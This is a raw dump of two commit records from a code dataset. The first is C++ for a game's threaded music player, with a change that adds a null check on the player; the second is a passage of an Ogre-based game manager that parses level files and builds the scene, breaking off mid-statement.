Music::getVolume(){\n    double vol = 0;\n    LOCK;{\n        vol = volume;\n    }\n    UNLOCK;\n    return vol;\n}\n\nvoid Music::doPlay(){\n    if (this->playing){\n        double f = fading \/ 500.0;\n        switch (fading){\n            case -1: {\n                if (volume + f < 0){\n                    fading = 0;\n                    volume = 0;\n                } else {\n                    volume += f;\n                    this->_setVolume(volume);\n                }\n                break;\n            }\n            case 1: {\n                if (volume + f > 1.0){\n                    fading = 0;\n                    volume = 1.0;\n                } else {\n                    volume += f;\n                    this->_setVolume(volume);\n                }\n                break;\n            }\n        }\n        musicPlayer->poll();\n    }\n}\n\n\/*\nMusic::Music( const char * song ):\nvolume( 1.0 ),\nmuted( false ),\nplayer( NULL ),\nmusic_file( NULL ){\n\n\tloadSong( song );\n\n}\n\nMusic::Music( const string & song ):\nvolume( 1.0 ),\nmuted( false ),\nplayer( NULL ),\nmusic_file( NULL ){\n\tloadSong( song );\n}\n*\/\n\nvoid Music::fadeIn(double vol){\n    LOCK;{\n        \/\/ volume = vol;\n        instance->_fadeIn();\n    }\n    UNLOCK;\n}\n\nvoid Music::fadeOut( double vol ){\n    LOCK;{\n        \/\/ volume = vol;\n        instance->_fadeOut();\n    }\n    UNLOCK;\n}\n\n\/* FIXME *\/\nvoid Music::_fadeIn(){\n    \/\/ fading = 1;\n}\n\nvoid Music::_fadeOut(){\n    \/\/ fading = -1;\n}\n\nbool Music::loadSong( const char * song ){\n    bool loaded = false;\n    LOCK;{\n        if (instance != NULL){\n            loaded = instance->internal_loadSong(song);\n        }\n    }\n    UNLOCK;\n    return loaded;\n    \/\/ muted = false;\n}\n\n\/* remove an element from a vector at index 'pos' and return it *\/\ntemplate< class Tx_ >\nstatic Tx_ removeVectorElement( vector< Tx_ > & toRemove, int pos ){\n    int count = 0;\n    typename vector< Tx_ >::iterator it;\n    for ( it = toRemove.begin(); it != toRemove.end() && count < pos; count++, it++ );\n\n    if ( it == toRemove.end() ){\n        \/* this isnt right, but whatever *\/\n        return toRemove.front();\n    }\n\n    Tx_ removed = toRemove[pos];\n    toRemove.erase(it);\n    return removed;\n\n}\n\t\nvoid Music::loadSong(vector<Filesystem::AbsolutePath> songs){\n\n    \/*\n       cout << \"Songs = \" << &Songs << endl;\n       if ( ! loadSong( \"music\/song5.xm\" ) ){\n       cerr << \"Could not load music\/song5.xm\" << endl;\n       }\n       return;\n       *\/\n\n    \/*\n    vector<Filesystem::AbsolutePath> _songs = Songs;\n    vector<Filesystem::AbsolutePath> songs;\n    while ( ! _songs.empty() ){\n        int i = Util::rnd(_songs.size());\n        songs.push_back(removeVectorElement(_songs, i));\n    }\n    *\/\n\n    \/*\n       songs.clear();\n       songs.push_back( \"music\/song3.xm\" );\n       *\/\n\n    std::random_shuffle(songs.begin(), songs.end());\n    for (vector<Filesystem::AbsolutePath>::iterator it = songs.begin(); it != songs.end(); it++){\n        Global::debug(1) << \"Trying to load song \" << (*it).path() << endl;\n        if (loadSong((*it).path())){\n            break;\n        }\n    }\n}\n\nbool Music::loadSong( const string & song ){\n    return loadSong( song.c_str() );\n}\n\nvoid Music::_play(){\n    if (playing == false && musicPlayer != NULL){\n        musicPlayer->play();\n        playing = true;\n    }\n}\n\nvoid Music::play(){\n    LOCK;{\n        instance->_play();\n    }\n    UNLOCK;\n}\n\nvoid Music::_pause(){\n    playing = false;\n    if (musicPlayer != NULL){\n        musicPlayer->pause();\n    }\n}\n\nvoid Music::pause(){\n    LOCK;{\n        instance->_pause();\n    }\n    UNLOCK;\n}\n\nvoid Music::soften(){\n    LOCK;{\n        instance->_soften();\n    }\n    UNLOCK;\n}\n\nvoid Music::_soften(){\n    if (volume > 0.1){\n        volume -= 0.1;\n    } else {\n        volume = 0.0;\n    }\n\n    _setVolume(volume);\n}\n\nvoid Music::louden(){\n    LOCK;{\n        instance->_louden();\n    }\n    UNLOCK;\n}\n\nvoid Music::_louden(){\n    if ( volume < 0.9 ){\n        volume += 0.1;\n    } else {\n        volume = 1.0;\n    }\n\n    _setVolume(volume);\n}\n\nvoid Music::mute(){\n    setVolume(0);\n}\n\nvoid Music::setVolume( double vol ){\n\n    LOCK;{\n        volume = vol;\n        if ( volume > 1.0 ){\n            volume = 1.0;\n        }\n        if ( volume < 0 ){\n            volume = 0;\n        }\n        instance->_setVolume( volume );\n    }\n    UNLOCK;\n}\n\nvoid Music::_setVolume(double vol){\n    if (musicPlayer){\n        musicPlayer->setVolume(vol);\n    }\n}\n\t\nMusic::~Music(){\n\n    LOCK;{\n        if (musicPlayer){\n            delete musicPlayer;\n        }\n\n        alive = false;\n        playing = false;\n    }\n    UNLOCK;\n\n    Global::debug( 1 ) << \"Waiting for music thread to die\" << endl;\n    Util::Thread::joinThread(musicThread);\n\n}\n\nstatic string getExtension(const char * path_){\n    string path(path_);\n    if (path.rfind('.') != string::npos){\n        return Util::lowerCaseAll(path.substr(path.rfind('.') + 1));\n    }\n    return \"\";\n}\n\n\/* true if the file extension is something DUMB will probably recognize *\/\nstatic bool isDumbFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"mod\" ||\n           extension == \"s3m\" ||\n           extension == \"it\" ||\n           extension == \"xm\";\n}\n\nstatic bool isGMEFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"nsf\" ||\n           extension == \"spc\" ||\n           extension == \"gym\";\n}\n\nstatic bool isOggFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"ogg\";\n}\n\nstatic bool isMp3File(const char * path){\n    string extension = getExtension(path);\n    return extension == \"mp3\";\n}\n\nbool Music::internal_loadSong( const char * path ){\n    if (!enabled){\n        return false;\n    }\n\n    \/\/ cout << \"Trying to load '\" << path << \"'\" << endl;\n\n    \/\/ Check current song and\/or set it\n    if (currentSong.compare(std::string(path))==0){\n        return true;\n    } else {\n        currentSong = std::string(path);\n    }\n\n    if (musicPlayer != NULL){\n        delete musicPlayer;\n        musicPlayer = NULL;\n    }\n    try {\n        if (isDumbFile(path)){\n            musicPlayer = new Util::DumbPlayer(path);\n            musicPlayer->play();\n            playing = true;\n        } else if (isGMEFile(path)){\n            musicPlayer = new Util::GMEPlayer(path);\n            musicPlayer->play();\n            playing = true;\n#ifdef HAVE_OGG\n        } else if (isOggFile(path)){\n            musicPlayer = new Util::OggPlayer(path);\n            musicPlayer->play();\n            playing = true;\n#endif\n\n#if defined(HAVE_MP3_MPG123) || defined(HAVE_MP3_MAD)\n\t} else if (isMp3File(path)){\n\t    \/* Utilize SDL mixer to handle mp3 *\/\n\t    musicPlayer = new Util::Mp3Player(path);\n\t    musicPlayer->play();\n\t    playing = true;\n#endif\n        } else {\n            return false;\n        }\n        if (musicPlayer != NULL){\n            musicPlayer->setVolume(volume);\n        }\n    } catch (const Exception::Base & ex){\n        Global::debug(0) << \"Could not open music file '\" << path << \"' because \" << ex.getTrace() << endl;\n        \/\/! FIXME Change from Base exception in the futer\n        return false;\n    }\n\n    return true;\n}\n\nvoid Music::changeSong(){\n    pause();\n    fadeIn(0.3);\n    loadSong(Filesystem::getFiles(Filesystem::find(Filesystem::RelativePath(\"music\/\")), \"*\"));\n    play();\n}\n\n#undef synchronized\n#undef LOCK\n#undef UNLOCK\n<commit_msg>check if music player exists<commit_after>#include \"music.h\"\n#include <string>\n#include <iostream>\n#include \"globals.h\"\n#include <algorithm>\n\/\/ #include \"defs.h\"\n\n#include \"configuration.h\"\n#include \"thread.h\"\n#include \"funcs.h\"\n#include \"file-system.h\"\n#include \"music-player.h\"\n\nusing namespace std;\n\nstatic Music * instance = NULL;\n\nstatic double volume = 1.0;\n\/\/ static bool muted = false;\nstatic Util::Thread::Id musicThread;\nstatic Util::Thread::Lock musicMutex;\nstatic bool alive = true;\n\nstatic void * playMusic( void * );\n\n#define synchronized for( int __l( ! Util::Thread::acquireLock(&musicMutex)); __l; __l = 0, Util::Thread::releaseLock(&musicMutex) )\n\n#define LOCK Util::Thread::acquireLock(&musicMutex);\n#define UNLOCK Util::Thread::releaseLock(&musicMutex);\n\n\/*\n#undef LOCK\n#undef UNLOCK\n#define LOCK\n#define UNLOCK\n*\/\n\nstatic void * bogus_thread( void * x){\n\treturn NULL;\n}\n\nMusic::Music(bool on):\nplaying(false),\nenabled(on),\nfading(0),\nmusicPlayer(NULL),\ncurrentSong(\"\"){\n\n    if (instance != NULL){\n        cerr << \"Trying to instantiate music object twice!\" << endl;\n        return;\n    }\n\n    volume = (double) Configuration::getMusicVolume() \/ 100.0;\n\n    instance = this;\n\n    Util::Thread::initializeLock(&musicMutex);\n    Global::debug(1) << \"Creating music thread\" << endl;\n    if (on){\n        Util::Thread::createThread(&musicThread, NULL, (Util::Thread::ThreadFunction) playMusic, (void *)instance);\n    } else {\n        \/* FIXME: just don't create a thread at all.. *\/\n        Util::Thread::createThread(&musicThread, NULL, (Util::Thread::ThreadFunction) bogus_thread, NULL);\n    }\n}\n\n\/*\nstatic bool isAlive(){\n\tbool f = false;\n\tsynchronized{\n\t\tf = alive;\n\t}\n\treturn f;\n}\n*\/\n\nstatic void * playMusic( void * _music ){\n    Music * music = (Music *) _music;\n\n    Global::debug(1) << \"Playing music\" << endl;\n\n    \/*\n       unsigned int tick = 0;\n       unsigned int counter;\n       *\/\n\n    bool playing = true;\n    while (playing){\n        LOCK;{\n            playing = alive;\n            music->doPlay();\n        }\n        UNLOCK;\n        Util::rest(10);\n\n        \/\/ Util::YIELD();\n        \/\/ pthread_yield();\n    }\n\n    \/\/ cout << \"Done with music thread\" << endl;\n\n    return NULL;\n}\n\ndouble Music::getVolume(){\n    double vol = 0;\n    LOCK;{\n        vol = volume;\n    }\n    UNLOCK;\n    return vol;\n}\n\nvoid Music::doPlay(){\n    if (this->playing){\n        double f = fading \/ 500.0;\n        switch (fading){\n            case -1: {\n                if (volume + f < 0){\n                    fading = 0;\n                    volume = 0;\n                } else {\n                    volume += f;\n                    this->_setVolume(volume);\n                }\n                break;\n            }\n            case 1: {\n                if (volume + f > 1.0){\n                    fading = 0;\n                    volume = 1.0;\n                } else {\n                    volume += f;\n                    this->_setVolume(volume);\n                }\n                break;\n            }\n        }\n        if (musicPlayer != NULL){\n            musicPlayer->poll();\n        }\n    }\n}\n\n\/*\nMusic::Music( const char * song ):\nvolume( 1.0 ),\nmuted( false ),\nplayer( NULL ),\nmusic_file( NULL ){\n\n\tloadSong( song );\n\n}\n\nMusic::Music( const string & song ):\nvolume( 1.0 ),\nmuted( false ),\nplayer( NULL ),\nmusic_file( NULL ){\n\tloadSong( song );\n}\n*\/\n\nvoid Music::fadeIn(double vol){\n    LOCK;{\n        \/\/ volume = vol;\n        instance->_fadeIn();\n    }\n    UNLOCK;\n}\n\nvoid Music::fadeOut( double vol ){\n    LOCK;{\n        \/\/ volume = vol;\n        instance->_fadeOut();\n    }\n    UNLOCK;\n}\n\n\/* FIXME *\/\nvoid Music::_fadeIn(){\n    \/\/ fading = 1;\n}\n\nvoid Music::_fadeOut(){\n    \/\/ fading = -1;\n}\n\nbool Music::loadSong( const char * song ){\n    bool loaded = false;\n    LOCK;{\n        if (instance != NULL){\n            loaded = instance->internal_loadSong(song);\n        }\n    }\n    UNLOCK;\n    return loaded;\n    \/\/ muted = false;\n}\n\n\/* remove an element from a vector at index 'pos' and return it *\/\ntemplate< class Tx_ >\nstatic Tx_ removeVectorElement( vector< Tx_ > & toRemove, int pos ){\n    int count = 0;\n    typename vector< Tx_ >::iterator it;\n    for ( it = toRemove.begin(); it != toRemove.end() && count < pos; count++, it++ );\n\n    if ( it == toRemove.end() ){\n        \/* this isnt right, but whatever *\/\n        return toRemove.front();\n    }\n\n    Tx_ removed = toRemove[pos];\n    toRemove.erase(it);\n    return removed;\n\n}\n\t\nvoid Music::loadSong(vector<Filesystem::AbsolutePath> songs){\n\n    \/*\n       cout << \"Songs = \" << &Songs << endl;\n       if ( ! loadSong( \"music\/song5.xm\" ) ){\n       cerr << \"Could not load music\/song5.xm\" << endl;\n       }\n       return;\n       *\/\n\n    \/*\n    vector<Filesystem::AbsolutePath> _songs = Songs;\n    vector<Filesystem::AbsolutePath> songs;\n    while ( ! _songs.empty() ){\n        int i = Util::rnd(_songs.size());\n        songs.push_back(removeVectorElement(_songs, i));\n    }\n    *\/\n\n    \/*\n       songs.clear();\n       songs.push_back( \"music\/song3.xm\" );\n       *\/\n\n    std::random_shuffle(songs.begin(), songs.end());\n    for (vector<Filesystem::AbsolutePath>::iterator it = songs.begin(); it != songs.end(); it++){\n        Global::debug(1) << \"Trying to load song \" << (*it).path() << endl;\n        if (loadSong((*it).path())){\n            break;\n        }\n    }\n}\n\nbool Music::loadSong( const string & song ){\n    return loadSong( song.c_str() );\n}\n\nvoid Music::_play(){\n    if (playing == false && musicPlayer != NULL){\n        musicPlayer->play();\n        playing = true;\n    }\n}\n\nvoid Music::play(){\n    LOCK;{\n        instance->_play();\n    }\n    UNLOCK;\n}\n\nvoid Music::_pause(){\n    playing = false;\n    if (musicPlayer != NULL){\n        musicPlayer->pause();\n    }\n}\n\nvoid Music::pause(){\n    LOCK;{\n        instance->_pause();\n    }\n    UNLOCK;\n}\n\nvoid Music::soften(){\n    LOCK;{\n        instance->_soften();\n    }\n    UNLOCK;\n}\n\nvoid Music::_soften(){\n    if (volume > 0.1){\n        volume -= 0.1;\n    } else {\n        volume = 0.0;\n    }\n\n    _setVolume(volume);\n}\n\nvoid Music::louden(){\n    LOCK;{\n        instance->_louden();\n    }\n    UNLOCK;\n}\n\nvoid Music::_louden(){\n    if ( volume < 0.9 ){\n        volume += 0.1;\n    } else {\n        volume = 1.0;\n    }\n\n    _setVolume(volume);\n}\n\nvoid Music::mute(){\n    setVolume(0);\n}\n\nvoid Music::setVolume( double vol ){\n\n    LOCK;{\n        volume = vol;\n        if ( volume > 1.0 ){\n            volume = 1.0;\n        }\n        if ( volume < 0 ){\n            volume = 0;\n        }\n        instance->_setVolume( volume );\n    }\n    UNLOCK;\n}\n\nvoid Music::_setVolume(double vol){\n    if (musicPlayer){\n        musicPlayer->setVolume(vol);\n    }\n}\n\t\nMusic::~Music(){\n\n    LOCK;{\n        if (musicPlayer){\n            delete musicPlayer;\n        }\n\n        alive = false;\n        playing = false;\n    }\n    UNLOCK;\n\n    Global::debug( 1 ) << \"Waiting for music thread to die\" << endl;\n    Util::Thread::joinThread(musicThread);\n\n}\n\nstatic string getExtension(const char * path_){\n    string path(path_);\n    if (path.rfind('.') != string::npos){\n        return Util::lowerCaseAll(path.substr(path.rfind('.') + 1));\n    }\n    return \"\";\n}\n\n\/* true if the file extension is something DUMB will probably recognize *\/\nstatic bool isDumbFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"mod\" ||\n           extension == \"s3m\" ||\n           extension == \"it\" ||\n           extension == \"xm\";\n}\n\nstatic bool isGMEFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"nsf\" ||\n           extension == \"spc\" ||\n           extension == \"gym\";\n}\n\nstatic bool isOggFile(const char * path){\n    string extension = getExtension(path);\n    return extension == \"ogg\";\n}\n\nstatic bool isMp3File(const char * path){\n    string extension = getExtension(path);\n    return extension == \"mp3\";\n}\n\nbool Music::internal_loadSong( const char * path ){\n    if (!enabled){\n        return false;\n    }\n\n    \/\/ cout << \"Trying to load '\" << path << \"'\" << endl;\n\n    \/\/ Check current song and\/or set it\n    if (currentSong.compare(std::string(path))==0){\n        return true;\n    } else {\n        currentSong = std::string(path);\n    }\n\n    if (musicPlayer != NULL){\n        delete musicPlayer;\n        musicPlayer = NULL;\n    }\n    try {\n        if (isDumbFile(path)){\n            musicPlayer = new Util::DumbPlayer(path);\n            musicPlayer->play();\n            playing = true;\n        } else if (isGMEFile(path)){\n            musicPlayer = new Util::GMEPlayer(path);\n            musicPlayer->play();\n            playing = true;\n#ifdef HAVE_OGG\n        } else if (isOggFile(path)){\n            musicPlayer = new Util::OggPlayer(path);\n            musicPlayer->play();\n            playing = true;\n#endif\n\n#if defined(HAVE_MP3_MPG123) || defined(HAVE_MP3_MAD)\n\t} else if (isMp3File(path)){\n\t    \/* Utilize SDL mixer to handle mp3 *\/\n\t    musicPlayer = new Util::Mp3Player(path);\n\t    musicPlayer->play();\n\t    playing = true;\n#endif\n        } else {\n            return false;\n        }\n        if (musicPlayer != NULL){\n            musicPlayer->setVolume(volume);\n        }\n    } catch (const Exception::Base & ex){\n        Global::debug(0) << \"Could not open music file '\" << path << \"' because \" << ex.getTrace() << endl;\n        \/\/! FIXME Change from Base exception in the futer\n        return false;\n    }\n\n    return true;\n}\n\nvoid Music::changeSong(){\n    pause();\n    fadeIn(0.3);\n    loadSong(Filesystem::getFiles(Filesystem::find(Filesystem::RelativePath(\"music\/\")), \"*\"));\n    play();\n}\n\n#undef synchronized\n#undef LOCK\n#undef UNLOCK\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * gameMgr.cpp\n *\n *  Created on: Mar 11, 2017\n *      Author: sushil\n *\/\n\n#include <gameMgr.h>\n#include <engine.h>\n#include <OgreMeshManager.h>\n\nGameMgr::GameMgr(Engine *engine): Mgr(engine){\n\tfloor = Ogre::Plane(Ogre::Vector3::UNIT_Y, 0);\n    ceiling = new Ogre::MovablePlane(\"ceiling\");\n    ceiling->d = 0;\n    ceiling->normal = Ogre::Vector3::UNIT_Y;\n}\n\nGameMgr::~GameMgr(){\n\n}\n\nvoid GameMgr::init(){\n\n}\n\nvoid GameMgr::loadLevel(){\n\tthis->loadLevel(\"level001.txt\");\n\n}\n\nvoid GameMgr::stop(){\n\n}\n\nvoid GameMgr::tick(float dt){\n\n}\n\n\nvoid GameMgr::createGround(int &width, int &heigth, std::string &material)\n{\n\t\/\/ Create Plane \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::MeshManager::getSingleton().createPlane(\n\t    \"ground\",\n\t    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n\t    floor,\n\t\twidth, heigth, 20, 20,\n\t    true,\n\t    1, 5, 5,\n\t    Ogre::Vector3::UNIT_Z);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create Ground Entity \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* groundEntity = engine->gfxMgr->ogreSceneManager->createEntity(\"ground\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(groundEntity);\n\tgroundEntity->setCastShadows(false);\n\tgroundEntity->setMaterialName(material);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create Separated Water Ground \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* groundEntity2 = engine->gfxMgr->ogreSceneManager->createEntity(\"ground\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(groundEntity2);\n\tgroundEntity2->setCastShadows(false);\n\tgroundEntity2->setMaterialName(\"Examples\/WaterStream\");\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n\nvoid GameMgr::createCeiling()\n{\n\tOgre::MovablePlane plane(Ogre::Vector3::UNIT_Y, 50);\n\n\t\/\/ Create Ceiling \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::MeshManager::getSingleton().createPlane(\n\t    \"ceiling\",\n\t    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n\t\tplane,\n\t\t4000, 3400, 20, 20,\n\t    true,\n\t    1, 5, 5,\n\t    Ogre::Vector3::UNIT_Z);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\t\/\/ Create Ceiling Entity \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* ceiling = engine->gfxMgr->ogreSceneManager->createEntity(\"ceiling\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(ceiling);\n\tceiling->setCastShadows(false);\n\tceiling->setMaterialName(\"Examples\/Rockwall\");\n}\n\nvoid GameMgr::createSky(){\n\n\tengine->gfxMgr->ogreSceneManager->setSkyBox(true, \"Examples\/SpaceSkyBox\");\n\n}\n\nvoid GameMgr::loadLevel(std::string levelFilename)\n{\n\t\/\/ Load the environment, objects, and characters\n\tthis->loadEnvironment(levelFilename);\n\tthis->setupEnvironment();\n\tthis->loadObjects();\n\tthis->loadCharacters();\n}\n\nvoid GameMgr::loadEnvironment(std::string levelFilename)\n{\n\t\/\/ Variables\n\tstd::ifstream fin;\n\tint x, z;\n\tfloat x_offset, y_offset, z_offset;\n\tfloat scale, orientation;\n\tstd::string groundMaterial, objectMesh, characterMesh;\n\tstd::string buffer;\n\tchar objectChar;\n\n\n\t\/\/ Open File\n\tfin.open(levelFilename);\n\n\t\/\/ Check for bad file\n\tif(!fin.is_open())\n\t{\n\t\tstd::cerr << \"ERROR, FILE CANNOT BE OPENED\" << std::endl;\n\t\treturn;\n\t}\n\n\t\/\/ First block is world dimensions and material name\n\tfin >> x >> z;\n\tfin >> groundMaterial;\n\n\t\/\/ TESTING FILE READ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Ground Dimensions: \" << x << \" x \" << z << std::endl;\n\tstd::cerr << \"Ground Material: \" << groundMaterial << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create floor mesh with read in dimensions\n\tcreateGround( x, z, groundMaterial);\n\n\t\/\/ Create Ceiling\n\t\/\/ createCeiling(); DEBUG THIS\n\n\t\/\/ Second block reads in location of you and enemies\n\t\/\/ Check for Objects line\n\tfin >> buffer;\n\n\tif( buffer != \"Objects\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\t\/\/ Read Objects and positions\n\tfin >> objectChar >> objectMesh;\n\tfin >> x_offset >> y_offset >> z_offset;\n\tfin >> orientation >> scale;\n\n\t\/\/ Testing Second Box Readin \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Objects\" << std::endl;\n\tstd::cerr << objectChar << \" \" << objectMesh << std::endl;\n\tstd::cerr << \"Located at: \" << x_offset << \", \" << y_offset << \", \" << z_offset << std::endl;\n\tstd::cerr << \"Scaled at: \" << orientation << \" \" << scale << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\t\/\/ Check for Characters line \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tfin >> buffer;\n\n\tif( buffer != \"Characters\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\t\/\/ Read in Characters\n\tfin >> objectChar >> characterMesh;\n\tfin >> x_offset >> y_offset >> z_offset;\n\tfin >> orientation >> scale;\n\n\t\/\/ Testing Third Box Readin \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Characters\" << std::endl;\n\tstd::cerr << objectChar << \" \" << characterMesh << std::endl;\n\tstd::cerr << \"Located at: \" << x_offset << \", \" << y_offset << \", \" << z_offset << std::endl;\n\tstd::cerr << \"Scaled at: \" << orientation << \" \" << scale << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Read the World Placement \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tchar c;\n\n\t\/\/ Start to see if world is in file\n\tfin >> buffer;\n\n\tif( buffer != \"World\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\n\t\/\/ Pre Conditions for World setup\n\tOgre::Vector3 wallPosition;\n\twallPosition = Ogre::Vector3(-1850, 50, 1200);\n\n\tOgre::Vector3 archPosition;\n\tarchPosition = Ogre::Vector3(0, 0, 0);\n\n\tOgre::Vector3 enemyPosition;\n\tenemyPosition = Ogre::Vector3(-1200, 0, 1000);\n\n\t\/*\n\tOgre::ManualObject test;\n\ttest.convertToMesh(objectMesh, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME);\n\t*\/\n\n\t\/\/ Loop through map dimensions\n\tfor( int row = 0; row < ROW_SIZE; row++ )\n\t{\n\t\tfor( int col = 0; col < COL_SIZE; col++ )\n\t\t{\n\t\t\tfin >> c;\n\t\t\tstd::cerr << c << std::endl;\n\n\n\t\t\t\/\/ Check for walls (Not player or enemy nodes)\n\t\t\tif( c == 'W' )\n\t\t\t{\n\t\t\t\tstd::cerr << \"Creating Wall\" << std::endl;\n\n\t\t\t\tengine->entityMgr->CreateEntity(EntityType::WALL, wallPosition, 0);\n\t\t\t\t\/\/engine->entityMgr->\n\n\t\t\t\t\/\/ Create a Wall\n\t\t\t\t\/*\n\t\t\t\tOgre::Entity* wallEntity = engine->gfxMgr->ogreSceneManager->createEntity(getNewName(), objectMesh);\n\t\t\t\twallEntity->setMaterialName(\"Examples\/RustySteel\");\n\t\t\t\tengine->gfxMgr->wallNode = engine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode(wallPosition);\n\t\t\t\tengine->gfxMgr->wallNode->attachObject(wallEntity);\n\t\t\t\t*\/\n\n\n\t\t\t\t\/\/ Set Scale and position\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setScale(0.1f, 1.0f, 0.1f);\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setPosition(wallPosition);\n\n\t\t\t\t\/\/ Check wall position to prevent going outside of map\n\t\t\t\tif( wallPosition.x < 1800 ||\n\t\t\t\t\twallPosition.x > -1800 ||\n\t\t\t\t\twallPosition.z > -3000 ||\n\t\t\t\t\twallPosition.z < 3000 